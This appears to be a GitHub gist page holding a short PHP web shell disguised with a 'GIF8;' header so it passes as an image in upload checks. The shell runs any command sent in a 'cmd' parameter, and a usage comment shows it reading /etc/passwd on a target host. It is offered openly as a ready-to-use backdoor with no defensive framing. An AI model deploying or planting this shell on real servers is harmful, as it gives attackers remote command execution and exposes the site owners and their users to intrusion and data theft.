Skip to content

Instantly share code, notes, and snippets.

@sathishshan
Created January 1, 2021 13:44
Show Gist options
  • Save sathishshan/dbeb6850a9b12a9ed4be69c649fc349c to your computer and use it in GitHub Desktop.
Save sathishshan/dbeb6850a9b12a9ed4be69c649fc349c to your computer and use it in GitHub Desktop.
Mini shell in php with image magic trick
GIF8;
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment